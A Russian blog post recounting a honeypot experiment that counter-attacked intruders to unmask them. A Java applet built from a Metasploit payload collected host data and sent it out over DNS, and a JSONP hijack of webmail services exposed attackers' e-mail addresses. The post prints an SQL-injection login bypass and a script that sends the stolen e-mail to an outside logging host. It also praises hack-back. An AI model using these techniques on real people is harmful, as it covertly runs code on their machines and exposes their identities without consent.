Не раз я сталкивался с вопросами пользователей, можно ли каким либо образом вычислить хакера который взломал тот или иной сайт. Вопрос достаточно интересный и однозначного ответа на него дать невозможно. Конечно же все зависит от квалификации человека который осуществляет атаку и от его осторожности. Но как оказалось на практике, очень многие хакеры совершают достаточно глупые ошибки и раскрывают свою анонимность. Давай посмотрим как.
Прежде всего… а зачем мне это? Я не «трехбуквенник», а скромный инженер, замыслов по захвату мира у меня пока нету и прочими недобросовестными делами я не занимаюсь, так чем же мне не угодила анонимность? Ответ прост — анонимусами, хацкерами, скрипт-кидисами… Эти ребята вечно пытаются что-то там сломать, украсть, испортить или погонять свое ЧСВ. Дело это, если подумать не такое уж и плохое (лучше чем в подворотне наркотиками баловаться), но раз ребята любят поиграть — давайте поиграем с ними.
Их анонимность дело не святое, поэтому можно с ней и посражаться 8) Но как общий результат, все это работает с любым пользователем сети Интернет, просто я применил усилия исключительно против атакующих, тех кто пытается получить несанкционированный доступ и нарушить статью 272 УК РФ. Кроме того, мой опыт будет интересной иллюстрацией к теме «контратаки» на самих атакующих в автоматическом режиме без участия человека. Результат контратаки — раскрытие информации об атакующем, что, согласитесь, дело хорошее, а не плохое…
Бочонок с медом
Для того, чтобы не повредить анонимности ни в чем не повинных граждан и контратаковать только «злодеев», нужно быть уверенным, что данный юзверь — взломщик. Для этого достаточно иметь систему анализа поведения посетителя с механизмом обнаружения «атакующих» действий. Короче говоря, достаточно сделать honeypot. Для этого не надо разворачивать honeyd и тд. Например для общего случая с WEB ресурсом, достаточно на продакшн сервере расположить один псевдо-рабочий скрипт, который будет изображать полезность и функциональность, но на деле будет детектировать попытки проникновения и в случае «удачной» атаки изображать, что этот взлом удался. После этого исполнять контр-атаку на этого конкретного пользователя.
Наглядный пример, создадим скрипт admin.php или /admin/ не важно, любой уважающий себя атакующий найдет этот URI за несколько секунд, это очевидный ход. В случае, если хочется повысить внимание нежелательных элементов к ловушке, можно разместить линк с главной страницы (мол админка тут), ведь главная задача, чтобы плохой парень начал атаковать первым делом хонипот, а не ковырялся в нормальных скриптах.
В скрипте псевдо-админки, ясно дело, спрашивают логин и пароль. Далее дело фантазии, можно ждать когда атакующий пробрутит перебором пароль либо сделать эмуляцию уязвимости класса SQL Injection, и тогда подойдет любой пароль класса ‘ or 1=1/*, который будет давать доступ в «админку». При этом мы можем собирать статистику — как была взломана админка, подбором или через SQLi. Ну и само собой — любой кто попал в «админку» является «плохим» парнем, и его раскрытие его анонимности не вызывает у меня проблем морали.
Собственно в 2011 я разместил такой скрипт на своем горе сайте и стал ждать… ждал я не долго, так как сайт был посвящен теме ИБ, то желающих зОхакать его превышало всякое воображение.
Бей в лоб
Очевидно, что в самом общем случае, все что мы имеем об посетителе веб сайта (и атакующем, в нашем частном случае) это лишь IP адрес, User-Agent и тд. Как я говорил, мы не CIA/FSB/MOSSAD… у нас нет СОРМ или PRISM, и мы понимаем, что IP адрес (учитывая разные там Proxy серверы и TOR) — это фактически НИЧЕГО. С этим мы и имеем дело в большинстве случаев, но если разыграть один тонкий психологический момент (конкретно касающегося скрипт-кидди), то выяснится, что эти ребята не ждут подвоха! Другими словами, в теле «админки» можно сделать что угодно — повесить сплойт-пак например, и пробивать сплойтами нерадивых. Но я сыграл более «плоско», я запустил Апплет Java. Мол вы прошли аутентификацию… вот наша панель GUI на Java.
Элемент социальной инженерии — атакующий в порыве радости от успешной атаки SQLi может тупо запустить апплет. И… я удивился, но таких было достаточно (конечно потом, с течением времени процент пробива падал, так как информация о подставе быстро разошлась среди узкого круга специалистов
EXE файл собирал НЕ ПЕРСОНАЛЬНЫЕ данные (да да, я блюду ФЗ о ПДн…), только следующую инфу: IP локальный, traceroute из сети, имя машины, логин пользователя. Это не много, но в большинстве случаев этого достаточно чтобы обойти TOR/Proxy/VPN и даже узнать фамилию атакующего! Дополнительно, конечно, можно было бы собирать BSSID окружающих точек доступа, например, и делать съемку с веб-камеры ноута, парсить конфиг файлы с винта и тд и тп. Короче суть в том, что установив «агента контр-разведки» на ПК атакующего мы обошли многие преграды, и TOR и Proxy уже не при делах. Очевидная контр-атака.
Примечание: мой агент не имел удаленного доступа, хотя технически это можно было закодить, я не хотел бекдорить и распространять вредоносное ПО. Данный агент не был вредоносным, так как собирал сугубо техническую инфу об ПК атакующего и его сетевом окружении. Кстати, все данные передавались реверсивным DNS каналом, что улучшало успешные «отстукивания» с данными.
Интересные «атакующие»:
1) Министерство обороны РФ
Одни из первых, попытались применить атаку типа SQLi ребята с ВНЕШНЕГО IP Министерства обороны Российской Федерации. К моему счастью, они либо не повелись на апплет, либо у них был Linux (так как мне впадлу было добавлять кросс-платформенность). Я знаю, что там хорошие ребята и, конечно, ничего плохого они не хотели! Но надеюсь при реальных «разведывательных операциях» они используют хотя бы китайские прокси сервера
2) Антивирусная компания
Этот запуск был сделан с виртуальной машины антивирусной компании. DNS сервер и tracert спалили контору 8) Примечательно что ребята не добавили агента в список вредоносного ПО! Оценили. Спасибо вам ребята!
3) Куча ребят
Просто куча разных ребят, кто-то знал о фиче и просто игрался, кто-то нет (http://habrahabr.ru/post/122107/#comment_4003842)
4) И самое интересное Хост принадлежащий РАЗВЕДКЕ одной из стран СНГ. С «обратным» проникновением.
Поначалу я решил что вот она, кибер война началась! Наш агент в результате контр-атаки оказался запущен на хосте, принадлежащем службе разведки другого гос-ва. Только учетная запись выглядела как сервисная, что наводило на мысль, что хост был скомпрометирован и использовался как посредник. Чуть позже в то же день мы получили инсталл второго «агента» из той же страны, только в этот раз не из сети правительственного учреждения, а с домашнего ПК. Имя пользователя ПК оказалось легко гуглящимся и идентифицировать человека вышло без проблем. При этом, учитывая, эти «совпадения», можно сказать что либо он работает на эту разведку, либо как-то получил доступ к правительственному хосту.
Ранение рикошетом
Окей, мы поняли, что простейший путь раскрытия анонимности — контратака через сплойт-паки или с элементами СИ, но это толсто и очевидно. Но была еще одна идея — сторонние сервисы, такие как веб-почта или, например, социальные сети. Можно сделать атаку более незаметной… что я и сделал 8)
Да, кроме апплета, в случае успешной атаки на меня, я узнавал e-mail атакующего, чтобы точно знать «кто виноват» (ну а что делать и так ясно..). И опять же, анонимность это не TOR/VPN/Proxy chain. Этого не достаточно! И так суть проста, если гражданин использует сервисы типа ВКонтакте, yandex, google, linkedin, twitter, facebook и тд… и при этом он на них постоянно аутентифицирован, то при наличии каких-либо уязвимостей (CSRF/XSS) на этих сервисах позволят раскрыть ВАШУ анонимность. Так получилось, что на сервисах mail.ru и yandex.ru были найдены уязвимости (я о них сообщил давно, и они давно запатчены, тем нем менее я успел испытать ради моего «научного» эксперимента по практической поимке злых парней…). Уязвимость самая банальная (на обоих сервисах): JSONP Hijacking. Суть проста, есть некий сервис:
1 mail-service.com/ajax?callback=func
Который использует cookie аутентификацию, и возвращает что-то типа:
1 func({"e-mail":"[email protected]"});
Соответственно, для эксплуатации этой бреши и раскрытия анонимности используем код:
1 <script>
2 function func(obj)
3 {
4 var url="http://loger.com/log.php?value="+obj["e-mail"];
5 $.get(url);
6 }
7 </script>
8 <script src="http://mail-service.com/ajax?callback=func"/>
Так что помните: можете забыть о TOR/VPN, если вы вечно носитесь по соц. сетям, даже не надо иметь PRISM, чтобы проследить кто вы и откуда, достаточно «тупых» CSRF/XSS.
Типичный атакующий:
И еще…
Кстати, как еще пример такого подхода, сеть linkedin, даже не нужна уязвимость, там это реальная фича — лог тех, кто просматривал ваш профайл. То есть если на мою админку повесить тупо редирект на специальный зарегистрированный профайл linkedin:
То в итоге можем прямо в linkedin’е узнавать больше информации об атакующих:
Кстати, можно заметить, что SAMEORIGIN не помогает, так как GET запрос проходит до того, как браузер проверит ORIGIN политику, проверка происходит ПОТОМ
Статистика
В конце немного статистики. Эксперимент длился с Q2 2011 до Q3 2012.
Всего УНИКАЛЬНЫХ атак SQLi — 484 (за ~1.2 года)
Из них успешных контр-атак (Java Applet) — 52 (за ~1.2 года)
Из них успешных контр-атак на mail.ru/yandex.ru — 16 (за 6 месяцев)
~ 17 % успеха при контр-атаках.
График зависимости:
Как видно, в начале был апплет, а «мыло» я добавил значительно позже. Пики по посещаемости связаны с анонсами ZeroNights и встреч Defcon группы. Пробив по почте фактически линейный, тогда как в случае апплетов -зависимость была линейной лишь в начале эксперимента. Это связано с обновлениями Java, антивирусы добавили апплет потом в базу вредоносного ПО (что неудивительно ибо он собран из metasploit пейлода)
P.S. Кстати, если с yandex.ru есть куда сообщать о найденных мной багах, то в случае с mail.ru я не нашел контакты, пока не познакомился с тамошним ИБшником и не слил багу ему лично…
Выводы
Хоть этот блог-пост больше о том как я ловил «плохих» парней, хотя на самом деле это можно экстраполировать на вопросы анонимности в сети Интернет — уж если ИТ/ИБ специалисты и хацкеры палятся, то что говорить о нормальных людях? Вполне очевидно, что TOR/Proxy и VPN не помогают в этом вопросе. Достаточно логина в соц.сети, невнимательности и еще много чего, чтобы однозначно сопоставить посетителя веб-ресурса с реальным человеком.
Ну и второй вывод, контр-атака на атакующего не такая уж и плохая идея, меньше вы о нем знать не станете, но если «прокнет», то вы получите много интересной инфы. Кстати, в некотором государстве эти штуки уже работают (как мне сообщили). Так что кибер-война это весело!